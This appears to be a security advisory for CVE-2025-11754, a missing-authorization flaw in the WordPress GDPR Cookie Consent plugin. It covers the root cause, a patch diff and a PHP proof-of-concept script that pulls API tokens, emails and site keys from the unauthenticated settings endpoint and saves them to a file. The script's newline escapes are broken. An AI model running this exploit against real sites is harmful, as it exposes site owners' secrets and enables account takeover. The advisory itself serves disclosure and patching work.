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Published : March 18, 2026

CVE-2025-11754: Cookie Banner, Cookie Consent, Consent Log, Cookie Scanner, Script Blocker (for GDPR, CCPA & ePrivacy) : WP Cookie Consent <= 4.1.2 – Missing Authorization to Sensitive Information Exposure (gdpr-cookie-consent)

CVE ID CVE-2025-11754
Plugin gdpr-cookie-consent
Severity High (CVSS 7.5)
CWE 862
Vulnerable Version 4.1.2
Patched Version 4.1.3
Disclosed February 17, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-11754:
The vulnerability is a missing authorization check in the GDPR Cookie Consent WordPress plugin’s REST API endpoint. This allows unauthenticated attackers to retrieve sensitive plugin configuration data. The CVSS 7.5 score reflects the high confidentiality impact of exposing API tokens, email addresses, account IDs, and site keys.

Root Cause:
The vulnerability exists in the `get_items()` method of the `GDPR_Cookie_Consent_API` class at `/gdpr-cookie-consent/includes/settings/class-gdpr-cookie-consent-api.php`. The function directly returns plugin settings without validating the requester’s authorization. The REST endpoint `/wp-json/gdpr/v1/settings` was registered with `permission_callback` set to `__return_true`, allowing complete public access. The missing capability check violates WordPress security best practices for REST API endpoints handling sensitive data.

Exploitation:
Attackers send a GET request to the vulnerable REST API endpoint. The request targets `/wp-json/gdpr/v1/settings` without requiring authentication tokens or nonces. No special parameters are needed. The server responds with the plugin’s complete configuration, including sensitive fields like API tokens, email addresses, account IDs, and site keys stored in the plugin’s settings.

Patch Analysis:
The patch adds token-based authorization to the `get_items()` method. It introduces a `token` parameter requirement and validates it against a stored token using `hash_equals()` for constant-time comparison. The `create_items_permissions_check()` method now performs comprehensive validation of both platform and token parameters. The patch also updates the plugin version from 4.1.2 to 4.1.3. These changes ensure only requests with valid authorization tokens can access sensitive settings.

Impact:
Successful exploitation exposes sensitive plugin configuration data including API tokens, email addresses, account IDs, and site keys. Attackers can use this information for further attacks such as account takeover, unauthorized API access, or integration with other vulnerabilities. The exposed data may also violate privacy regulations like GDPR and CCPA that the plugin is designed to help enforce.

Differential between vulnerable and patched code

Code Diff 
--- a/gdpr-cookie-consent/admin/class-gdpr-cookie-consent-admin.php
+++ b/gdpr-cookie-consent/admin/class-gdpr-cookie-consent-admin.php
@@ -847,9 +847,6 @@
 	 * @return void
 	 */
 	public function wpl_consent_log_overview() {
-		if ( isset( $_GET['page'] ) && $_GET['page'] !== 'gdpr-cookie-consent' ) {
-			return;
-		}
 		ob_start();
 		include GDPR_COOKIE_CONSENT_PLUGIN_PATH . '/public/modules/consent-logs/class-wpl-consent-logs.php';
 		// Style for consent log report.
@@ -1270,17 +1267,17 @@
 			'request_for_access'        => array(
 				'short' => __( 'Request for access', 'gdpr-cookie-consent' ),
 				'long'  => __( 'Submit a request for access to the data we process about you.', 'gdpr-cookie-consent' ),
-				'slug'  => 'docs/wp-cookie-consent/how-to-guides/what-is-the-right-to-access/',
+				'slug'  => 'docs/wplp-docs/guides/what-is-the-right-to-access/',
 			),
 			'right_to_be_forgotten'     => array(
 				'short' => __( 'Right to be forgotten', 'gdpr-cookie-consent' ),
 				'long'  => __( 'Submit a request for deletion of the data if it is no longer relevant.', 'gdpr-cookie-consent' ),
-				'slug'  => 'docs/wp-cookie-consent/how-to-guides/right-to-be-forgotten/',
+				'slug'  => 'docs/wplp-docs/guides/what-is-the-right-to-be-forgotten/',
 			),
 			'right_to_data_portability' => array(
 				'short' => __( 'Right to data portability', 'gdpr-cookie-consent' ),
 				'long'  => __( 'Submit a request to receive an export file of the data we process about you.', 'gdpr-cookie-consent' ),
-				'slug'  => 'docs/wp-cookie-consent/how-to-guides/right-to-data-portability/',
+				'slug'  => 'docs/wplp-docs/guides/what-is-the-right-to-data-portability/',
 			),
 		);
 		return $options;
@@ -4293,7 +4290,7 @@

 					$readmore_style_attr = '';
 					foreach ($template['readmore_button'] as $key => $value) {
-						if($key == 'color') $readmore_style_attr .= esc_attr($key) . ':' . esc_attr($value) . ';';
+						if (in_array($key, ['color', 'text-decoration'], true)) $readmore_style_attr .= esc_attr($key) . ':' . esc_attr($value) . ';';
 					}
 					$heading_style_attr = "";
 					foreach ($template['heading'] as $key => $value) {
@@ -4420,7 +4417,7 @@

 					$readmore_style_attr = '';
 					foreach ($template['readmore_button'] as $key => $value) {
-						if($key == 'color') $readmore_style_attr .= esc_attr($key) . ':' . esc_attr($value) . ';';
+						if (in_array($key, ['color', 'text-decoration'], true))  $readmore_style_attr .= esc_attr($key) . ':' . esc_attr($value) . ';';
 					}
 					$heading_style_attr = "";
 					foreach ($template['heading'] as $key => $value) {
--- a/gdpr-cookie-consent/admin/data-req/class-wpl-data-req-table.php
+++ b/gdpr-cookie-consent/admin/data-req/class-wpl-data-req-table.php
@@ -399,7 +399,7 @@
 				$options = Gdpr_Cookie_Consent_Admin::wpl_data_reqs_options();
 				foreach ( $options as $fieldname => $label ) {
 					if ( $request->{$fieldname} == 1 ) {
-						$datarequest = '<a href="https://club.wpeka.com/' . $label['slug'] . '" target="_blank">' . $label['short'] . '</a>';
+						$datarequest = '<a href="https://wplegalpages.com/' . $label['slug'] . '" target="_blank">' . $label['short'] . '</a>';
 					}
 				}
 				$time = gmdate( get_option( 'time_format' ), $request->request_date );
--- a/gdpr-cookie-consent/admin/gdpr-cookie-consent-admin-settings.php
+++ b/gdpr-cookie-consent/admin/gdpr-cookie-consent-admin-settings.php
@@ -175,6 +175,16 @@
 							<a  v-if="!is_ccpa && this[`button_readmore_is_on${active_test_banner_tab}`]" :style="{
 								'font-family': this[`cookie_font${active_test_banner_tab}`],
 								'color':button_readmore_link_color,
+								'textDecoration':
+									(template === 'blue_full' ||
+									template === 'blue_center' ||
+									template === 'blue_center_column' ||
+									template === 'blue_split' ||
+									template === 'gray' ||
+									template === 'bold' ||
+									template === 'dark' )
+										? 'underline'
+										: 'none',
 								'border-style': button_readmore_as_button ? button_readmore_button_border_style : 'none',
 								'border-width': button_readmore_as_button ? button_readmore_button_border_width + 'px':'0',
 								'border-color': button_readmore_as_button ? button_readmore_button_border_color : 'transparent',
@@ -385,6 +395,16 @@
 							<a v-if="!is_ccpa && button_readmore_is_on" :style="{
 								'font-family': cookie_font,
 								'color':button_readmore_link_color,
+								'textDecoration':
+									(template === 'blue_full' ||
+									template === 'blue_center' ||
+									template === 'blue_center_column' ||
+									template === 'blue_split' ||
+									template === 'gray' ||
+									template === 'bold' ||
+									 template === 'dark' )
+										? 'underline'
+										: 'none',
 								'border-style': button_readmore_as_button ? button_readmore_button_border_style : 'none',
 								'border-width': button_readmore_as_button ? button_readmore_button_border_width + 'px':'0',
 								'border-color': button_readmore_as_button ? button_readmore_button_border_color : 'transparent',
@@ -581,6 +601,16 @@
 							<a v-if="active_default_multiple_legislation === 'gdpr' && button_readmore_is_on" :style="{
 								'font-family': multiple_legislation_cookie_font1,
 								'color':button_readmore_link_color,
+								'textDecoration':
+									(template === 'blue_full' ||
+									template === 'blue_center' ||
+									template === 'blue_center_column' ||
+									template === 'blue_split' ||
+									template === 'gray' ||
+									template === 'bold' ||
+									template === 'dark' )
+										? 'underline'
+										: 'none',
 								'border-style': button_readmore_as_button ? button_readmore_button_border_style : 'none',
 								'border-width': button_readmore_as_button ? button_readmore_button_border_width + 'px':'0',
 								'border-color': button_readmore_as_button ? button_readmore_button_border_color : 'transparent',
--- a/gdpr-cookie-consent/admin/modules/cookie-custom/class-gdpr-cookie-consent-cookie-custom.php
+++ b/gdpr-cookie-consent/admin/modules/cookie-custom/class-gdpr-cookie-consent-cookie-custom.php
@@ -53,12 +53,7 @@
 	public function __construct() {
 		// Creating necessary tables for cookie custom.
 		register_activation_hook( GDPR_COOKIE_CONSENT_PLUGIN_FILENAME, array( $this, 'gdpr_activator' ) );
-		$this->status_labels = array(
-			0 => '',
-			1 => __( 'Incomplete', 'gdpr-cookie-consent' ),
-			2 => __( 'Completed', 'gdpr-cookie-consent' ),
-			3 => __( 'Stopped', 'gdpr-cookie-consent' ),
-		);
+		add_action('admin_init',  array($this, 'set_status_labels'));
 		if ( Gdpr_Cookie_Consent::is_request( 'admin' ) ) {
 			add_filter( 'gdpr_module_settings_tabhead', array( __CLASS__, 'settings_tabhead' ) );
 			add_filter( 'gdpr_settings_cookie_list_values', array( $this, 'gdpr_settings_cookie_list_values' ) );
@@ -67,6 +62,14 @@
 		}
 	}

+	public function set_status_labels(){
+		$this->status_labels = array(
+			0 => '',
+			1 => __( 'Incomplete', 'gdpr-cookie-consent' ),
+			2 => __( 'Completed', 'gdpr-cookie-consent' ),
+			3 => __( 'Stopped', 'gdpr-cookie-consent' ),
+		);
+	}
 	/**
 	 * Settings for Cookies About message under General Tab.
 	 *
@@ -443,4 +446,4 @@
 		return $cookies_array;
 	}
 }
-new Gdpr_Cookie_Consent_Cookie_Custom();
+new Gdpr_Cookie_Consent_Cookie_Custom();
 No newline at end of file
--- a/gdpr-cookie-consent/admin/modules/cookie-scanner/class-wpl-cookie-consent-cookie-scanner.php
+++ b/gdpr-cookie-consent/admin/modules/cookie-scanner/class-wpl-cookie-consent-cookie-scanner.php
@@ -121,12 +121,7 @@
 	public function __construct() {
 		// Creating necessary tables for cookie scanner.
 		register_activation_hook( GDPR_COOKIE_CONSENT_PLUGIN_FILENAME, array( $this, 'wpl_activator' ) );
-		$this->status_labels = array(
-			0 => '',
-			1 => __( 'Incomplete', 'gdpr-cookie-consent' ),
-			2 => __( 'Completed', 'gdpr-cookie-consent' ),
-			3 => __( 'Stopped', 'gdpr-cookie-consent' ),
-		);
+		add_action('admin_init',  array($this, 'set_status_labels'));
 		if ( Gdpr_Cookie_Consent::is_request( 'admin' ) ) {
 			add_filter( 'gdprcookieconsent_cookie_sub_tabs', array( $this, 'wpl_cookie_sub_tabs' ), 10, 1 );
 			add_action( 'gdpr_module_settings_cookielist', array( $this, 'wpl_cookie_scanned_cookies' ), 10 );
@@ -151,6 +146,14 @@
 		$this->class_for_card_body_blur_content = $this->is_user_connected ? '' : 'gdpr-body-blur-background'; // Add a class for styling purposes

 	}
+	public function set_status_labels(){
+		$this->status_labels = array(
+			0 => '',
+			1 => __( 'Incomplete', 'gdpr-cookie-consent' ),
+			2 => __( 'Completed', 'gdpr-cookie-consent' ),
+			3 => __( 'Stopped', 'gdpr-cookie-consent' ),
+		);
+	}
 	public function register_cookie_scanner_script(){
 		//getting scan data
 		wp_enqueue_script('cookie_scanner_ajax', plugin_dir_url(__FILE__) . 'assets/js/cookie-scanner-data.js', array('jquery', 'gdpr-cookie-consent-admin-revamp'), '1.0', true);
@@ -1060,7 +1063,7 @@
 			$latest_scan_id = $wpdb->get_var("SELECT id_wpl_cookie_scan FROM $scan_table WHERE status = '2' ORDER BY created_at DESC LIMIT 1");

 			if ($latest_scan_id) {
-				$count_sql     = $wpdb->prepare("SELECT COUNT(id_wpl_cookie_scan_cookies) AS ttnum FROM $cookies_table");
+				$count_sql     = "SELECT COUNT(id_wpl_cookie_scan_cookies) AS ttnum FROM $cookies_table";
 				$count_arr     = $wpdb->get_row($count_sql, ARRAY_A);
 				if ( $count_arr ) {
 					$out['total'] = $count_arr['ttnum'];
@@ -1099,4 +1102,4 @@
 	}

 }
-new Gdpr_Cookie_Consent_Cookie_Scanner();
+new Gdpr_Cookie_Consent_Cookie_Scanner();
 No newline at end of file
--- a/gdpr-cookie-consent/admin/modules/cookie-scanner/classes/class-wpl-cookie-consent-cookie-scanner-ajax.php
+++ b/gdpr-cookie-consent/admin/modules/cookie-scanner/classes/class-wpl-cookie-consent-cookie-scanner-ajax.php
@@ -622,9 +622,7 @@
 				if ( ! empty( $ccategory ) ) {
 					$data_arr['category_id'] = $ccategory;
 				}
-				if ( ! empty( $cdesc ) ) {
-					$data_arr['description'] = $cdesc;
-				}
+				$data_arr['description'] = $cdesc; // can be empty string
 				$update_status = $wpdb->update( $cookies_table, $data_arr, array( 'id_wpl_cookie_scan_cookies' => $cid ) ); // db call ok; no-cache ok.
 				if ( $update_status >= 1 ) {
 					$flag            = 1;
--- a/gdpr-cookie-consent/gdpr-cookie-consent.php
+++ b/gdpr-cookie-consent/gdpr-cookie-consent.php
@@ -10,7 +10,7 @@
  * Plugin Name:       Cookie Banner for GDPR / CCPA - WPLP Cookie Consent
  * Plugin URI:        https://wplegalpages.com/
  * Description:       Cookie Consent will help you put up a subtle banner in the footer of your website to showcase compliance status regarding the EU Cookie law.
- * Version:           4.1.2
+ * Version:           4.1.3
  * Author:            WPLP Compliance Platform
  * Author URI:        https://wplegalpages.com
  * License:           GPLv3
@@ -31,7 +31,7 @@
 /**
  * Currently plugin version.
  */
-define( 'GDPR_COOKIE_CONSENT_VERSION', '4.1.2' );
+define( 'GDPR_COOKIE_CONSENT_VERSION', '4.1.3' );
 define( 'GDPR_COOKIE_CONSENT_PLUGIN_DEVELOPMENT_MODE', false );
 define( 'GDPR_COOKIE_CONSENT_PLUGIN_BASENAME', plugin_basename( __FILE__ ) );
 define( 'GDPR_COOKIE_CONSENT_PLUGIN_PATH', plugin_dir_path( __FILE__ ) );
--- a/gdpr-cookie-consent/includes/class-gdpr-cookie-consent.php
+++ b/gdpr-cookie-consent/includes/class-gdpr-cookie-consent.php
@@ -85,7 +85,7 @@
 		if ( defined( 'GDPR_COOKIE_CONSENT_VERSION' ) ) {
 			$this->version = GDPR_COOKIE_CONSENT_VERSION;
 		} else {
-			$this->version = '4.1.2';
+			$this->version = '4.1.3';
 		}
 		add_action(
 			'current_screen',
--- a/gdpr-cookie-consent/includes/settings/class-gdpr-cookie-consent-api.php
+++ b/gdpr-cookie-consent/includes/settings/class-gdpr-cookie-consent-api.php
@@ -62,9 +62,21 @@
 	 * @return WP_Error|WP_REST_Response
 	 */
 	public function get_items( $request ) {
+		$token = $request->get_param( 'token' );
 		require_once GDPR_COOKIE_CONSENT_PLUGIN_PATH . 'includes/settings/class-gdpr-cookie-consent-settings.php';
-		$object = new GDPR_Cookie_Consent_Settings();
-		$data   = $object->get();
+		$settings = new GDPR_Cookie_Consent_Settings();
+		$stored_token = $settings->get_token();
+
+		// Double-check token validation in callback
+		if ( empty( $stored_token ) || ! hash_equals( $stored_token, $token ) ) {
+			return new WP_Error(
+				'rest_forbidden',
+				esc_html__( 'Invalid Authorization.', 'gdpr-cookie-consent' ),
+				array( 'status' => rest_authorization_required_code() )
+			);
+		}
+
+		$data = $settings->get();
 		return rest_ensure_response( $data );
 	}

@@ -76,17 +88,51 @@
 	 */
 	public function create_items_permissions_check( $request ) {

-		$permission_check = false;
 		$token            = $request->get_param( 'token' );
 		$request_platform = $request->get_param( 'platform' );

-		if ( isset( $token ) && 'wordpress' === $request_platform ) {
-			return true;
-		} else {
-			return new WP_Error( 'rest_forbidden', esc_html__( 'Invalid Authorization.', 'gdpr-cookie-consent' ), array( 'status' => rest_authorization_required_code() ) );
+		// Validate platform
+		if ( 'wordpress' !== $request_platform ) {
+			return new WP_Error(
+				'rest_forbidden',
+				esc_html__( 'Invalid platform.', 'gdpr-cookie-consent' ),
+				array( 'status' => rest_authorization_required_code() )
+			);
+		}
+
+		// Token must be provided
+		if ( empty( $token ) ) {
+
+			return new WP_Error(
+				'rest_forbidden',
+				esc_html__( 'Token missing.', 'gdpr-cookie-consent' ),
+				array( 'status' => rest_authorization_required_code() )
+			);
 		}

-		return $permission_check;
+		// Get stored token from settings
+		require_once GDPR_COOKIE_CONSENT_PLUGIN_PATH . 'includes/settings/class-gdpr-cookie-consent-settings.php';
+		$settings = new GDPR_Cookie_Consent_Settings();
+		$stored_token = $settings->get_token();
+
+		// If no token stored → deny
+		if ( empty( $stored_token ) ) {
+			return new WP_Error(
+				'rest_forbidden',
+				esc_html__( 'No token configured.', 'gdpr-cookie-consent' ),
+				array( 'status' => rest_authorization_required_code() )
+			);
+		}
+
+		// Constant-time secure comparison
+		if ( ! hash_equals( $stored_token, $token ) ) {
+			return new WP_Error(
+				'rest_forbidden',
+				esc_html__( 'Invalid authorization token.', 'gdpr-cookie-consent' ),
+				array( 'status' => rest_authorization_required_code() )
+			);
+		}
+		return true;
 	}

 }
--- a/gdpr-cookie-consent/public/templates/cookie-notice.php
+++ b/gdpr-cookie-consent/public/templates/cookie-notice.php
@@ -91,6 +91,20 @@
 	}
 	$readmore_style_attr = "";
 	$readmore_style_attr .= " color: {$the_options['button_readmore_link_color']};";
+	if (
+		$template_object['name'] === 'blue_full' ||
+		$template_object['name'] === 'blue_center' ||
+		$template_object['name'] === 'blue_center_column' ||
+		$template_object['name'] === 'blue_split' ||
+		$template_object['name'] === 'gray' ||
+		$template_object['name'] === 'bold' ||
+		$template_object['name'] === 'dark'
+	) {
+		$readmore_style_attr .= "text-decoration: underline;";
+	} else {
+		$readmore_style_attr .= "text-decoration: none;";
+	}
+
 	if ($the_options['button_readmore_as_button'] === 'true' || $the_options['button_readmore_as_button'] === true || $the_options['button_readmore_as_button'] === 1) {
 		$padding_key = 'button_padding';
 		$padding_value = $template_object['static-settings'][$padding_key] ?? '';
--- a/gdpr-cookie-consent/wc-am-client-gdpr.php
+++ b/gdpr-cookie-consent/wc-am-client-gdpr.php
@@ -121,13 +121,7 @@
 				/**
 				 * Set all admin menu data
 				 */
-				$this->wc_am_deactivate_checkbox_key     = $this->data_key . '_deactivate_checkbox';
-				$this->wc_am_activation_tab_key          = $this->data_key . '_dashboard';
-				$this->wc_am_deactivation_tab_key        = $this->data_key . '_deactivation';
-				$this->wc_am_settings_menu_title         = $this->software_title . esc_html__( ' Activation', 'gdpr-cookie-consent'  );
-				$this->wc_am_settings_title              = $this->software_title . esc_html__( ' API Key Activation', 'gdpr-cookie-consent'  );
-				$this->wc_am_menu_tab_activation_title   = esc_html__( 'API Key Activation', 'gdpr-cookie-consent'  );
-				$this->wc_am_menu_tab_deactivation_title = esc_html__( 'API Key Deactivation', 'gdpr-cookie-consent'  );
+				add_action( 'admin_init', array($this, 'setup_admin_menu_titles') );

 				/**
 				 * Set all software update data here
@@ -168,7 +162,16 @@
 				add_action( 'switch_theme', array( $this, 'uninstall' ) );
 			}
 		}
-
+
+		public function setup_admin_menu_titles() {
+			$this->wc_am_deactivate_checkbox_key     = $this->data_key . '_deactivate_checkbox';
+			$this->wc_am_activation_tab_key          = $this->data_key . '_dashboard';
+			$this->wc_am_deactivation_tab_key        = $this->data_key . '_deactivation';
+			$this->wc_am_settings_menu_title         = $this->software_title . esc_html__( ' Activation', 'gdpr-cookie-consent'  );
+			$this->wc_am_settings_title              = $this->software_title . esc_html__( ' API Key Activation', 'gdpr-cookie-consent'  );
+			$this->wc_am_menu_tab_activation_title   = esc_html__( 'API Key Activation', 'gdpr-cookie-consent'  );
+			$this->wc_am_menu_tab_deactivation_title = esc_html__( 'API Key Deactivation', 'gdpr-cookie-consent'  );
+		}

 		/**
 		 * Generate the default data.

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// CVE-2025-11754 - Cookie Banner, Cookie Consent, Consent Log, Cookie Scanner, Script Blocker (for GDPR, CCPA & ePrivacy) : WP Cookie Consent <= 4.1.2 - Missing Authorization to Sensitive Information Exposure

<?php

$target_url = 'http://vulnerable-wordpress-site.com';

// Construct the vulnerable REST API endpoint
$api_endpoint = $target_url . '/wp-json/gdpr/v1/settings';

// Initialize cURL session
$ch = curl_init();

// Set cURL options
curl_setopt($ch, CURLOPT_URL, $api_endpoint);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, false);

// No authentication required - this is the vulnerability
// The endpoint should require authorization but doesn't

// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

// Check for errors
if (curl_errno($ch)) {
    echo 'cURL Error: ' . curl_error($ch) . "n";
    curl_close($ch);
    exit(1);
}

curl_close($ch);

// Process the response
if ($http_code === 200) {
    $data = json_decode($response, true);
    
    if ($data && !empty($data)) {
        echo "[+] SUCCESS: Retrieved sensitive plugin settingsn";
        echo "[+] HTTP Status: $http_codenn";
        
        // Display potentially sensitive fields
        $sensitive_fields = ['api_token', 'email', 'account_id', 'site_key', 'token', 'secret'];
        
        foreach ($sensitive_fields as $field) {
            if (isset($data[$field])) {
                echo "[!] Sensitive field '$field' found: " . $data[$field] . "n";
            }
        }
        
        // Show total number of settings exposed
        echo "n[+] Total settings exposed: " . count($data) . "n";
        
        // Optional: Save full response to file
        file_put_contents('cve-2025-11754_exposed_settings.json', json_encode($data, JSON_PRETTY_PRINT));
        echo "[+] Full response saved to cve-2025-11754_exposed_settings.jsonn";
    } else {
        echo "[-] Received empty or invalid JSON responsen";
        echo "Response: $responsen";
    }
} else {
    echo "[-] Request failed with HTTP status: $http_coden";
    echo "Response: $responsen";
}

?>

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